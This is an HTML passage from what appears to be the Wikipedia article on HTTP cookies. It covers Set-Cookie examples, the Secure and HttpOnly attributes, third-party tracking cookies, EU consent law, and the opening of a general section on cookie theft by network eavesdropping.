class="m">200</span> <span class="ne">OK</span> <span class="na">Set-Cookie</span><span class="o">:</span> <span class="l">lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 GMT; Path=/; Domain=.example.com; HttpOnly</span> <span class="na">Set-Cookie</span><span class="o">:</span> <span class="l">made_write_conn=1295214458; Path=/; Domain=.example.com</span> <span class="na">Set-Cookie</span><span class="o">:</span> <span class="l">reg_fb_gate=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; Domain=.example.com; HttpOnly</span> </pre></div> <p>The first cookie, <code>lu</code>, is set to expire sometime on 15 January 2013. It will be used by the client browser until that time. The second cookie, <code>made_write_conn</code>, does not have an expiration date, making it a session cookie. It will be deleted after the user closes their browser. The third cookie, <code>reg_fb_gate</code>, has its value changed to <i>deleted</i>, with an expiration time in the past. The browser will delete this cookie right away because its expiration time is in the past. Note that cookie will only be deleted if the domain and path attributes in the <code>Set-Cookie</code> field match the values used when the cookie was created. </p><p>As of 2016<sup class="plainlinks noexcerpt noprint asof-tag update" style="display:none;"><a class="external text" href="https://en.wikipedia.org/w/index.php?title=HTTP_cookie&action=edit">[update]</a></sup> Internet Explorer did not support <code>Max-Age</code>.<sup id="cite_ref-nyQ00_56-0" class="reference"><a href="#cite_note-nyQ00-56"><span class="cite-bracket">[</span>56<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-wASD0_57-0" class="reference"><a href="#cite_note-wASD0-57"><span class="cite-bracket">[</span>57<span class="cite-bracket">]</span></a></sup> </p> <div class="mw-heading mw-heading4"><h4 id="Secure_and_HttpOnly">Secure and HttpOnly</h4></div> <p>The <code>Secure</code> and <code>HttpOnly</code> attributes do not have associated values. Rather, the presence of just their attribute names indicates that their behaviors should be enabled. </p><p>The <code>Secure</code> attribute is meant to keep cookie communication limited to encrypted transmission, directing browsers to use cookies only via <a href="/wiki/HTTPS" title="HTTPS">secure/encrypted</a> connections. However, if a web server sets a cookie with a secure attribute from a non-secure connection, the cookie can still be intercepted when it is sent to the user by <a href="/wiki/Man-in-the-middle_attack" title="Man-in-the-middle attack">man-in-the-middle attacks</a>. Therefore, for maximum security, cookies with the Secure attribute should only be set over a secure connection. </p><p>The <code>HttpOnly</code> attribute directs browsers not to expose cookies through channels other than HTTP (and HTTPS) requests. This means that the cookie cannot be accessed via client-side scripting languages (notably <a href="/wiki/JavaScript" title="JavaScript">JavaScript</a>), and therefore cannot be stolen easily via <a href="/wiki/Cross-site_scripting" title="Cross-site scripting">cross-site scripting</a> (a pervasive attack technique).<sup id="cite_ref-Symantec-2007-2nd-exec_58-0" class="reference"><a href="#cite_note-Symantec-2007-2nd-exec-58"><span class="cite-bracket">[</span>58<span class="cite-bracket">]</span></a></sup> </p> <div class="mw-heading mw-heading2"><h2 id="Browser_settings">Browser settings</h2></div> <p>Most modern browsers support cookies and allow the user to disable them. The following are common options:<sup id="cite_ref-eyMbr_59-0" class="reference"><a href="#cite_note-eyMbr-59"><span class="cite-bracket">[</span>59<span class="cite-bracket">]</span></a></sup> </p> <ul><li>To enable or disable cookies completely, so that they are always accepted or always blocked.</li> <li>To view and selectively delete cookies using a cookie manager.</li> <li>To fully wipe all private data, including cookies.</li></ul> <p>Add-on tools for managing cookie permissions also exist.<sup id="cite_ref-microsoft2007_60-0" class="reference"><a href="#cite_note-microsoft2007-60"><span class="cite-bracket">[</span>60<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-bv35c_61-0" class="reference"><a href="#cite_note-bv35c-61"><span class="cite-bracket">[</span>61<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-zuzB8_62-0" class="reference"><a href="#cite_note-zuzB8-62"><span class="cite-bracket">[</span>62<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-xGdEB_63-0" class="reference"><a href="#cite_note-xGdEB-63"><span class="cite-bracket">[</span>63<span class="cite-bracket">]</span></a></sup> </p> <div class="mw-heading mw-heading2"><h2 id="Third-party_cookie"><span class="anchor" id="ThirdParty_cookie"></span>Third-party cookie</h2></div> <link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1236090951"><div role="note" class="hatnote navigation-not-searchable">Main article: <a href="/wiki/Third-party_cookies" title="Third-party cookies">Third-party cookies</a></div> <link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1236090951"><div role="note" class="hatnote navigation-not-searchable">See also: <a href="/wiki/Web_analytics#Problems_with_cookies" title="Web analytics">Web analytics § Problems with cookies</a></div> <p>Cookies have some important implications for the privacy and anonymity of web users. While cookies are sent only to the server setting them or a server in the same Internet domain, a web page may contain images or other components stored on servers in other domains. Cookies that are set during retrieval of these components are called <i>third-party cookies</i>. A third-party cookie, belongs to a domain different from the one shown in the address bar. This sort of cookie typically appears when web pages feature content from external websites, such as <a href="/wiki/Banner_advertisement" class="mw-redirect" title="Banner advertisement">banner advertisements</a>. This opens up the potential for <a href="/wiki/Web_tracking" title="Web tracking">tracking</a> the user's browsing history and is used by advertisers to <a href="/wiki/Ad_server" class="mw-redirect" title="Ad server">serve relevant advertisements</a> to each user. </p> <figure class="mw-default-size" typeof="mw:File/Thumb"><a href="/wiki/File:Third_party_cookie.png" class="mw-file-description"><img src="//upload.wikimedia.org/wikipedia/commons/thumb/0/0b/Third_party_cookie.png/220px-Third_party_cookie.png" decoding="async" width="220" height="152" class="mw-file-element" srcset="//upload.wikimedia.org/wikipedia/commons/thumb/0/0b/Third_party_cookie.png/330px-Third_party_cookie.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/0/0b/Third_party_cookie.png/440px-Third_party_cookie.png 2x" data-file-width="2460" data-file-height="1700" /></a><figcaption>In this fictional example, an advertising company has placed banners in two websites. By hosting the banner images on its servers and using third-party cookies, the advertising company is able to track the browsing of users across these two sites.</figcaption></figure> <p>As an example, suppose a user visits <code>www.example.org</code>. This website contains an advertisement from <code>ad.foxytracking.com</code>, which, when downloaded, sets a cookie belonging to the advertisement's domain (<code>ad.foxytracking.com</code>). Then, the user visits another website, <code>www.foo.com</code>, which also contains an advertisement from <code>ad.foxytracking.com</code> and sets a cookie belonging to that domain (<code>ad.foxytracking.com</code>). Eventually, both of these cookies will be sent to the advertiser when loading their advertisements or visiting their website. The advertiser can then use these cookies to build up a browsing history of the user across all the websites that have ads from this advertiser, through the use of the <a href="/wiki/HTTP_referer" title="HTTP referer">HTTP referer</a> header field. </p><p>As of 2014<sup class="plainlinks noexcerpt noprint asof-tag update" style="display:none;"><a class="external text" href="https://en.wikipedia.org/w/index.php?title=HTTP_cookie&action=edit">[update]</a></sup>, some websites were setting cookies readable for over 100 third-party domains.<sup id="cite_ref-BYMXD_64-0" class="reference"><a href="#cite_note-BYMXD-64"><span class="cite-bracket">[</span>64<span class="cite-bracket">]</span></a></sup> On average, a single website was setting 10 cookies, with a maximum number of cookies (first- and third-party) reaching over 800.<sup id="cite_ref-cOnAw_65-0" class="reference"><a href="#cite_note-cOnAw-65"><span class="cite-bracket">[</span>65<span class="cite-bracket">]</span></a></sup> </p><p>The older standards for cookies, RFC 2109<sup id="cite_ref-RFC2109_17-1" class="reference"><a href="#cite_note-RFC2109-17"><span class="cite-bracket">[</span>17<span class="cite-bracket">]</span></a></sup> and RFC 2965, recommend that browsers should protect user privacy and not allow sharing of cookies between servers by default. However, the newer standard, RFC 6265, explicitly allows user agents to implement whichever third-party cookie policy they wish. Most modern web browsers contain <a href="/wiki/Privacy_settings" title="Privacy settings">privacy settings</a> that can <a href="/wiki/Ad_blocker" class="mw-redirect" title="Ad blocker">block</a> third-party cookies. Since 2020, <a href="/wiki/Apple_Safari" class="mw-redirect" title="Apple Safari">Apple Safari</a>,<sup id="cite_ref-zw6bb_66-0" class="reference"><a href="#cite_note-zw6bb-66"><span class="cite-bracket">[</span>66<span class="cite-bracket">]</span></a></sup> <a href="/wiki/Firefox" title="Firefox">Firefox</a>,<sup id="cite_ref-GSofz_67-0" class="reference"><a href="#cite_note-GSofz-67"><span class="cite-bracket">[</span>67<span class="cite-bracket">]</span></a></sup> and <a href="/wiki/Brave_(web_browser)" title="Brave (web browser)">Brave</a><sup id="cite_ref-sUPt1_68-0" class="reference"><a href="#cite_note-sUPt1-68"><span class="cite-bracket">[</span>68<span class="cite-bracket">]</span></a></sup> block all third-party cookies by default. Safari allows embedded sites to use Storage Access API to request permission to set first-party cookies. In May 2020, <a href="/wiki/Google_Chrome" title="Google Chrome">Google Chrome</a> 83 introduced new features to block third-party cookies by default in its Incognito mode for private browsing, making blocking optional during normal browsing. The same update also added an option to block first-party cookies.<sup id="cite_ref-xiHRq_69-0" class="reference"><a href="#cite_note-xiHRq-69"><span class="cite-bracket">[</span>69<span class="cite-bracket">]</span></a></sup> In April 2024, Chrome postponed third-party cookie blocking by default to 2025.<sup id="cite_ref-70" class="reference"><a href="#cite_note-70"><span class="cite-bracket">[</span>70<span class="cite-bracket">]</span></a></sup> In July 2024, Google announced plan to avoid blocking third-party cookies by default and instead prompt users to allow third-party cookies.<sup id="cite_ref-71" class="reference"><a href="#cite_note-71"><span class="cite-bracket">[</span>71<span class="cite-bracket">]</span></a></sup> </p> <div class="mw-heading mw-heading2"><h2 id="Privacy">Privacy</h2></div> <link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1236090951"><div role="note" class="hatnote navigation-not-searchable">See also: <a href="/wiki/Do_Not_Track" title="Do Not Track">Do Not Track</a></div> <p>The possibility of building a profile of users is a privacy threat, especially when tracking is done across multiple domains using third-party cookies. For this reason, some countries have legislation about cookies. </p><p>Website operators who do not disclose third-party cookie use to consumers run the risk of harming consumer trust if cookie use is discovered. Having clear disclosure (such as in a <a href="/wiki/Privacy_policy" title="Privacy policy">privacy policy</a>) tends to eliminate any negative effects of such cookie discovery.<sup id="cite_ref-dCj3R_72-0" class="reference"><a href="#cite_note-dCj3R-72"><span class="cite-bracket">[</span>72<span class="cite-bracket">]</span></a></sup><sup class="noprint Inline-Template" style="white-space:nowrap;">[<i><a href="/wiki/Wikipedia:Verifiability" title="Wikipedia:Verifiability"><span title="The article says the opposite: that apriori disclosure of cookies reduces trust, and that nobody reads privacy policies anyway. (October 2022)">failed verification</span></a></i>]</sup> </p><p>The <a href="/wiki/United_States" title="United States">United States</a> government has set strict rules on setting cookies in 2000 after it was disclosed that the White House <a href="/wiki/Office_of_National_Drug_Control_Policy" title="Office of National Drug Control Policy">drug policy office</a> used cookies to track computer users viewing its online anti-drug advertising. In 2002, privacy activist Daniel Brandt found that the <a href="/wiki/Central_Intelligence_Agency" title="Central Intelligence Agency">CIA</a> had been leaving persistent cookies on computers that had visited its website. When notified it was violating policy, CIA stated that these cookies were not intentionally set and stopped setting them. On December 25, 2005, Brandt discovered that the <a href="/wiki/National_Security_Agency" title="National Security Agency">National Security Agency</a> (NSA) had been leaving two persistent cookies on visitors' computers due to a software upgrade. After being informed, the NSA immediately disabled the cookies.<sup id="cite_ref-BnfI7_73-0" class="reference"><a href="#cite_note-BnfI7-73"><span class="cite-bracket">[</span>73<span class="cite-bracket">]</span></a></sup> </p> <div class="mw-heading mw-heading3"><h3 id="EU_cookie_directive">EU cookie directive</h3></div> <link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1251242444"><table class="box-Primary_sources plainlinks metadata ambox ambox-content ambox-Primary_sources" role="presentation"><tbody><tr><td class="mbox-image"><div class="mbox-image-div"><span typeof="mw:File"><a href="/wiki/File:Question_book-new.svg" class="mw-file-description"><img src="//upload.wikimedia.org/wikipedia/en/thumb/9/99/Question_book-new.svg/50px-Question_book-new.svg.png" decoding="async" width="50" height="39" class="mw-file-element" srcset="//upload.wikimedia.org/wikipedia/en/thumb/9/99/Question_book-new.svg/75px-Question_book-new.svg.png 1.5x, //upload.wikimedia.org/wikipedia/en/thumb/9/99/Question_book-new.svg/100px-Question_book-new.svg.png 2x" data-file-width="512" data-file-height="399" /></a></span></div></td><td class="mbox-text"><div class="mbox-text-span">This section <b>relies excessively on <a href="/wiki/Wikipedia:Verifiability" title="Wikipedia:Verifiability">references</a> to <a href="/wiki/Wikipedia:No_original_research#Primary,_secondary_and_tertiary_sources" title="Wikipedia:No original research">primary sources</a></b>.<span class="hide-when-compact"> Please improve this section by adding <a href="/wiki/Wikipedia:No_original_research#Primary,_secondary_and_tertiary_sources" title="Wikipedia:No original research">secondary or tertiary sources</a>. <br /><small><span class="plainlinks"><i>Find sources:</i> <a rel="nofollow" class="external text" href="https://www.google.com/search?as_eq=wikipedia&q=%22GDPR%22">"GDPR"</a> – <a rel="nofollow" class="external text" href="https://www.google.com/search?tbm=nws&q=%22GDPR%22+-wikipedia&tbs=ar:1">news</a> <b>·</b> <a rel="nofollow" class="external text" href="https://www.google.com/search?&q=%22GDPR%22&tbs=bkt:s&tbm=bks">newspapers</a> <b>·</b> <a rel="nofollow" class="external text" href="https://www.google.com/search?tbs=bks:1&q=%22GDPR%22+-wikipedia">books</a> <b>·</b> <a rel="nofollow" class="external text" href="https://scholar.google.com/scholar?q=%22GDPR%22">scholar</a> <b>·</b> <a rel="nofollow" class="external text" href="https://www.jstor.org/action/doBasicSearch?Query=%22GDPR%22&acc=on&wc=on">JSTOR</a></span></small></span> <span class="date-container"><i>(<span class="date">October 2022</span>)</i></span><span class="hide-when-compact"><i> (<small><a href="/wiki/Help:Maintenance_template_removal" title="Help:Maintenance template removal">Learn how and when to remove this message</a></small>)</i></span></div></td></tr></tbody></table> <p>In 2002, the European Union launched the <a href="/wiki/Directive_on_Privacy_and_Electronic_Communications" class="mw-redirect" title="Directive on Privacy and Electronic Communications">Directive on Privacy and Electronic Communications</a> (e-Privacy Directive), a policy requiring end users' consent for the placement of cookies, and similar technologies for storing and accessing information on users' equipment.<sup id="cite_ref-JISC_74-0" class="reference"><a href="#cite_note-JISC-74"><span class="cite-bracket">[</span>74<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-ICO_reference_75-0" class="reference"><a href="#cite_note-ICO_reference-75"><span class="cite-bracket">[</span>75<span class="cite-bracket">]</span></a></sup> In particular, Article 5 Paragraph 3 mandates that storing technically unnecessary data on a user's computer can only be done if the user is provided information about how this data is used, and the user is given the possibility of denying this storage operation. The Directive does not require users to authorise or be provided notice of cookie usage that are functionally required for delivering a service they have requested, for example to retain settings, store log-in sessions, or remember what is in a user's shopping basket.<sup id="cite_ref-76" class="reference"><a href="#cite_note-76"><span class="cite-bracket">[</span>76<span class="cite-bracket">]</span></a></sup> </p><p>In 2009, the law was amended by Directive 2009/136/EC, which included a change to Article 5, Paragraph 3. Instead of having an option for users to opt out of cookie storage, the revised Directive requires consent to be obtained for cookie storage.<sup id="cite_ref-ICO_reference_75-1" class="reference"><a href="#cite_note-ICO_reference-75"><span class="cite-bracket">[</span>75<span class="cite-bracket">]</span></a></sup> The definition of consent is cross-referenced to the definition in European data protection law, firstly the Data Protection Directive 1995 and subsequently the <a href="/wiki/General_Data_Protection_Regulation" title="General Data Protection Regulation">General Data Protection Regulation</a> (GDPR). As the definition of consent was strengthened in the text of the GDPR, this had the effect of increasing the quality of consent required by those storing and accessing information such as cookies on users devices. In a case decided under the Data Protection Directive however, the <a href="/wiki/Court_of_Justice_of_the_European_Union" title="Court of Justice of the European Union">Court of Justice of the European Union</a> later confirmed however that the previous law implied the same strong quality of consent as the current instrument.<sup id="cite_ref-eur-lex.europa.eu_77-0" class="reference"><a href="#cite_note-eur-lex.europa.eu-77"><span class="cite-bracket">[</span>77<span class="cite-bracket">]</span></a></sup> In addition to the requirement of consent which stems from storing or accessing information on a user's terminal device, the information in many cookies will be considered personal data under the GDPR alone, and will require a legal basis to process. This has been the case since the 1995 Data Protection Directive, which used an identical definition of personal data, although the GDPR in interpretative Recital 30 clarifies that cookie identifiers are included. While not all data processing under the GDPR requires consent, the characteristics of behavioural advertising mean that it is difficult or impossible to justify under any other ground.<sup id="cite_ref-Veale_78-0" class="reference"><a href="#cite_note-Veale-78"><span class="cite-bracket">[</span>78<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-79" class="reference"><a href="#cite_note-79"><span class="cite-bracket">[</span>79<span class="cite-bracket">]</span></a></sup> </p><p>Consent under the combination of the GDPR and e-Privacy Directive has to meet a number of conditions in relation to cookies.<sup id="cite_ref-:0_80-0" class="reference"><a href="#cite_note-:0-80"><span class="cite-bracket">[</span>80<span class="cite-bracket">]</span></a></sup> It must be freely given and unambiguous: preticked boxes were banned under both the Data Protection Directive 1995<sup id="cite_ref-eur-lex.europa.eu_77-1" class="reference"><a href="#cite_note-eur-lex.europa.eu-77"><span class="cite-bracket">[</span>77<span class="cite-bracket">]</span></a></sup> and the GDPR (Recital 32).<sup id="cite_ref-:1_81-0" class="reference"><a href="#cite_note-:1-81"><span class="cite-bracket">[</span>81<span class="cite-bracket">]</span></a></sup> The GDPR is specific that consent must be as 'easy to withdraw as to give',<sup id="cite_ref-:1_81-1" class="reference"><a href="#cite_note-:1-81"><span class="cite-bracket">[</span>81<span class="cite-bracket">]</span></a></sup> meaning that a reject-all button must be as easy to access in terms of clicks and visibility as an 'accept all' button.<sup id="cite_ref-:0_80-1" class="reference"><a href="#cite_note-:0-80"><span class="cite-bracket">[</span>80<span class="cite-bracket">]</span></a></sup> It must be specific and informed, meaning that consent relates to particular purposes for the use of this data, and all organisations seeking to use this consent must be specifically named.<sup id="cite_ref-:2_82-0" class="reference"><a href="#cite_note-:2-82"><span class="cite-bracket">[</span>82<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-83" class="reference"><a href="#cite_note-83"><span class="cite-bracket">[</span>83<span class="cite-bracket">]</span></a></sup> The <a href="/wiki/Court_of_Justice_of_the_European_Union" title="Court of Justice of the European Union">Court of Justice of the European Union</a> has also ruled that consent must be 'efficient and timely', meaning that it must be gained before cookies are laid and data processing begins instead of afterwards.<sup id="cite_ref-84" class="reference"><a href="#cite_note-84"><span class="cite-bracket">[</span>84<span class="cite-bracket">]</span></a></sup> </p><p>The industry's response has been largely negative. Robert Bond of the law firm Speechly Bircham describes the effects as "far-reaching and incredibly onerous" for "all UK companies". Simon Davis of <a href="/wiki/Privacy_International" title="Privacy International">Privacy International</a> argues that proper enforcement would "destroy the entire industry".<sup id="cite_ref-sKaxf_85-0" class="reference"><a href="#cite_note-sKaxf-85"><span class="cite-bracket">[</span>85<span class="cite-bracket">]</span></a></sup> However, scholars note that the onerous nature of cookie pop-ups stems from an attempt to continue to operate a business model through convoluted requests that may be incompatible with the GDPR.<sup id="cite_ref-Veale_78-1" class="reference"><a href="#cite_note-Veale-78"><span class="cite-bracket">[</span>78<span class="cite-bracket">]</span></a></sup> </p><p>Academic studies and regulators both describe widespread non-compliance with the law. A study scraping 10,000 UK websites found that only 11.8% of sites adhered to minimal legal requirements, with only 33.4% of websites studied providing a mechanism to reject cookies that was as easy to use as accepting them.<sup id="cite_ref-:0_80-2" class="reference"><a href="#cite_note-:0-80"><span class="cite-bracket">[</span>80<span class="cite-bracket">]</span></a></sup> A study of 17,000 websites found that 84% of sites breached this criterion, finding additionally that many laid third party cookies with no notice at all.<sup id="cite_ref-86" class="reference"><a href="#cite_note-86"><span class="cite-bracket">[</span>86<span class="cite-bracket">]</span></a></sup> The UK regulator, the <a href="/wiki/Information_Commissioner%27s_Office" title="Information Commissioner's Office">Information Commissioner's Office</a>, stated in 2019 that the industry's 'Transparency and Consent Framework' from the advertising technology group the <a href="/wiki/Interactive_Advertising_Bureau" title="Interactive Advertising Bureau">Interactive Advertising Bureau</a> was 'insufficient to ensure transparency and fair processing of the personal data in question and therefore also insufficient to provide for free and informed consent, with attendant implications for PECR [e-Privacy] compliance.'<sup id="cite_ref-:2_82-1" class="reference"><a href="#cite_note-:2-82"><span class="cite-bracket">[</span>82<span class="cite-bracket">]</span></a></sup> Many companies that sell compliance solutions (Consent Management Platforms) permit them to be configured in manifestly illegal ways, which scholars have noted creates questions around the appropriate allocation of liability.<sup id="cite_ref-87" class="reference"><a href="#cite_note-87"><span class="cite-bracket">[</span>87<span class="cite-bracket">]</span></a></sup> </p><p>A <a href="/wiki/W3C" class="mw-redirect" title="W3C">W3C</a> specification called <a href="/wiki/P3P" title="P3P">P3P</a> was proposed for servers to communicate their privacy policy to browsers, allowing automatic, user-configurable handling. However, few websites implement the specification, and the W3C has discontinued work on the specification.<sup id="cite_ref-88" class="reference"><a href="#cite_note-88"><span class="cite-bracket">[</span>88<span class="cite-bracket">]</span></a></sup> </p><p> Third-party cookies can be blocked by most browsers to increase privacy and reduce tracking by advertising and tracking companies without negatively affecting the user's web experience on all sites. Some sites operate 'cookie walls', which make access to a site conditional on allowing cookies either technically in a browser, through pressing 'accept', or both.<sup id="cite_ref-89" class="reference"><a href="#cite_note-89"><span class="cite-bracket">[</span>89<span class="cite-bracket">]</span></a></sup> In 2020, the <a href="/wiki/European_Data_Protection_Board" title="European Data Protection Board">European Data Protection Board</a>, composed of all EU data protection regulators, stated that cookie walls were illegal.</p><blockquote><p>In order for consent to be freely given, access to services and functionalities must not be made conditional on the consent of a user to the storing of information, or gaining of access to information already stored, in the terminal equipment of a user (so called cookie walls).<sup id="cite_ref-90" class="reference"><a href="#cite_note-90"><span class="cite-bracket">[</span>90<span class="cite-bracket">]</span></a></sup></p></blockquote><p>Many advertising operators have an opt-out option to behavioural advertising, with a generic cookie in the browser stopping behavioural advertising.<sup id="cite_ref-nyt-bits_91-0" class="reference"><a href="#cite_note-nyt-bits-91"><span class="cite-bracket">[</span>91<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-howtoblock_92-0" class="reference"><a href="#cite_note-howtoblock-92"><span class="cite-bracket">[</span>92<span class="cite-bracket">]</span></a></sup> However, this is often ineffective against many forms of tracking, such as first-party tracking that is growing in popularity to avoid the impact of browsers blocking third party cookies.<sup id="cite_ref-93" class="reference"><a href="#cite_note-93"><span class="cite-bracket">[</span>93<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-94" class="reference"><a href="#cite_note-94"><span class="cite-bracket">[</span>94<span class="cite-bracket">]</span></a></sup> Furthermore, if such a setting is more difficult to place than the acceptance of tracking, it remains in breach of the conditions of the e-Privacy Directive.<sup id="cite_ref-:0_80-3" class="reference"><a href="#cite_note-:0-80"><span class="cite-bracket">[</span>80<span class="cite-bracket">]</span></a></sup> </p><div class="mw-heading mw-heading2"><h2 id="Cookie_theft_and_session_hijacking">Cookie theft and session hijacking</h2></div> <link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1251242444"><style data-mw-deduplicate="TemplateStyles:r1248332772">.mw-parser-output .multiple-issues-text{width:95%;margin:0.2em 0}.mw-parser-output .multiple-issues-text>.mw-collapsible-content{margin-top:0.3em}.mw-parser-output .compact-ambox .ambox{border:none;border-collapse:collapse;background-color:transparent;margin:0 0 0 1.6em!important;padding:0!important;width:auto;display:block}body.mediawiki .mw-parser-output .compact-ambox .ambox.mbox-small-left{font-size:100%;width:auto;margin:0}.mw-parser-output .compact-ambox .ambox .mbox-text{padding:0!important;margin:0!important}.mw-parser-output .compact-ambox .ambox .mbox-text-span{display:list-item;line-height:1.5em;list-style-type:disc}body.skin-minerva .mw-parser-output .multiple-issues-text>.mw-collapsible-toggle,.mw-parser-output .compact-ambox .ambox .mbox-image,.mw-parser-output .compact-ambox .ambox .mbox-imageright,.mw-parser-output .compact-ambox .ambox .mbox-empty-cell,.mw-parser-output .compact-ambox .hide-when-compact{display:none}</style><table class="box-Multiple_issues plainlinks metadata ambox ambox-content ambox-multiple_issues compact-ambox" role="presentation"><tbody><tr><td class="mbox-image"><div class="mbox-image-div"><span typeof="mw:File"><span><img alt="" src="//upload.wikimedia.org/wikipedia/en/thumb/b/b4/Ambox_important.svg/40px-Ambox_important.svg.png" decoding="async" width="40" height="40" class="mw-file-element" srcset="//upload.wikimedia.org/wikipedia/en/thumb/b/b4/Ambox_important.svg/60px-Ambox_important.svg.png 1.5x, //upload.wikimedia.org/wikipedia/en/thumb/b/b4/Ambox_important.svg/80px-Ambox_important.svg.png 2x" data-file-width="40" data-file-height="40" /></span></span></div></td><td class="mbox-text"><div class="mbox-text-span"><div class="multiple-issues-text mw-collapsible"><b>This section has multiple issues.</b> Please help <b><a href="/wiki/Special:EditPage/HTTP_cookie" title="Special:EditPage/HTTP cookie">improve it</a></b> or discuss these issues on the <b><a href="/wiki/Talk:HTTP_cookie" title="Talk:HTTP cookie">talk page</a></b>. <small><i>(<a href="/wiki/Help:Maintenance_template_removal" title="Help:Maintenance template removal">Learn how and when to remove these messages</a>)</i></small> <div class="mw-collapsible-content"> <link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1251242444"><table class="box-Original_research plainlinks metadata ambox ambox-content ambox-Original_research" role="presentation"><tbody><tr><td class="mbox-image"><div class="mbox-image-div"><span typeof="mw:File"><span><img alt="" src="//upload.wikimedia.org/wikipedia/en/thumb/b/b4/Ambox_important.svg/40px-Ambox_important.svg.png" decoding="async" width="40" height="40" class="mw-file-element" srcset="//upload.wikimedia.org/wikipedia/en/thumb/b/b4/Ambox_important.svg/60px-Ambox_important.svg.png 1.5x, //upload.wikimedia.org/wikipedia/en/thumb/b/b4/Ambox_important.svg/80px-Ambox_important.svg.png 2x" data-file-width="40" data-file-height="40" /></span></span></div></td><td class="mbox-text"><div class="mbox-text-span">This section <b>possibly contains <a href="/wiki/Wikipedia:No_original_research" title="Wikipedia:No original research">original research</a></b>.<span class="hide-when-compact"> Please <a class="external text" href="https://en.wikipedia.org/w/index.php?title=HTTP_cookie&action=edit">improve it</a> by <a href="/wiki/Wikipedia:Verifiability" title="Wikipedia:Verifiability">verifying</a> the claims made and adding <a href="/wiki/Wikipedia:Citing_sources#Inline_citations" title="Wikipedia:Citing sources">inline citations</a>. Statements consisting only of original research should be removed.</span> <span class="date-container"><i>(<span class="date">September 2011</span>)</i></span><span class="hide-when-compact"><i> (<small><a href="/wiki/Help:Maintenance_template_removal" title="Help:Maintenance template removal">Learn how and when to remove this message</a></small>)</i></span></div></td></tr></tbody></table> <link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1251242444"><table class="box-Unreferenced_section plainlinks metadata ambox ambox-content ambox-Unreferenced" role="presentation"><tbody><tr><td class="mbox-image"><div class="mbox-image-div"><span typeof="mw:File"><a href="/wiki/File:Question_book-new.svg" class="mw-file-description"><img alt="" src="//upload.wikimedia.org/wikipedia/en/thumb/9/99/Question_book-new.svg/50px-Question_book-new.svg.png" decoding="async" width="50" height="39" class="mw-file-element" srcset="//upload.wikimedia.org/wikipedia/en/thumb/9/99/Question_book-new.svg/75px-Question_book-new.svg.png 1.5x, //upload.wikimedia.org/wikipedia/en/thumb/9/99/Question_book-new.svg/100px-Question_book-new.svg.png 2x" data-file-width="512" data-file-height="399" /></a></span></div></td><td class="mbox-text"><div class="mbox-text-span">This section <b>does not <a href="/wiki/Wikipedia:Citing_sources" title="Wikipedia:Citing sources">cite</a> any <a href="/wiki/Wikipedia:Verifiability" title="Wikipedia:Verifiability">sources</a></b>.<span class="hide-when-compact"> Please help <a href="/wiki/Special:EditPage/HTTP_cookie" title="Special:EditPage/HTTP cookie">improve this section</a> by <a href="/wiki/Help:Referencing_for_beginners" title="Help:Referencing for beginners">adding citations to reliable sources</a>. Unsourced material may be challenged and <a href="/wiki/Wikipedia:Verifiability#Burden_of_evidence" title="Wikipedia:Verifiability">removed</a>.</span> <span class="date-container"><i>(<span class="date">September 2011</span>)</i></span><span class="hide-when-compact"><i> (<small><a href="/wiki/Help:Maintenance_template_removal" title="Help:Maintenance template removal">Learn how and when to remove this message</a></small>)</i></span></div></td></tr></tbody></table> </div> </div><span class="hide-when-compact"><i> (<small><a href="/wiki/Help:Maintenance_template_removal" title="Help:Maintenance template removal">Learn how and when to remove this message</a></small>)</i></span></div></td></tr></tbody></table> <p>Most websites use cookies as the only identifiers for user sessions, because other methods of identifying web users have limitations and vulnerabilities. If a website uses cookies as session identifiers, attackers can impersonate users' requests by stealing a full set of victims' cookies. From the web server's point of view, a request from an attacker then has the same authentication as the victim's requests; thus the request is performed on behalf of the victim's session. </p><p>Listed here are various scenarios of cookie theft and user session hijacking (even without stealing user cookies) that work with websites relying solely on HTTP cookies for user identification. </p> <div class="mw-heading mw-heading3"><h3 id="Network_eavesdropping">Network eavesdropping</h3></div> <figure class="mw-default-size" typeof="mw:File/Thumb"><a href="/wiki/File:Cookie-sniffing.svg" class="mw-file-description"><img src="//upload.wikimedia.org/wikipedia/commons/thumb/e/e5/Cookie-sniffing.svg/220px-Cookie-sniffing.svg.png" decoding="async" width="220" height="110" class="mw-file-element" srcset="//upload.wikimedia.org/wikipedia/commons/thumb/e/e5/Cookie-sniffing.svg/330px-Cookie-sniffing.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/e/e5/Cookie-sniffing.svg/440px-Cookie-sniffing.svg.png 2x" data-file-width="200" data-file-height="100" /></a><figcaption>A cookie can be stolen by another computer that is allowed reading from the network.</figcaption></figure> <p>Traffic on a network can be intercepted and read by computers on the network other than the sender and receiver (particularly over <a href="/wiki/Plaintext" title="Plaintext">unencrypted</a> open <a href="/wiki/Wi-Fi" title="Wi-Fi">Wi-Fi</a>). This traffic includes cookies sent on ordinary unencrypted <a href="/wiki/HTTP_sessions" class="mw-redirect" title="HTTP sessions">HTTP sessions</a>. Where network traffic is not encrypted, attackers can therefore read the communications of other users on the network, including HTTP cookies as well as the entire contents of the conversations, for the purpose of a <a href="/wiki/Man-in-the-middle_attack" title="Man-in-the-middle attack">man-in-the-middle attack</a>. </p><p>An attacker could use intercepted cookies to impersonate a user and perform a malicious task, such as transferring money out of the victim's bank account. </p><p>This issue can be resolved by securing the communication between the user's computer and the server by employing <a href="/wiki/Transport_Layer_Security" title="Transport Layer Security">Transport Layer Security</a> (<a 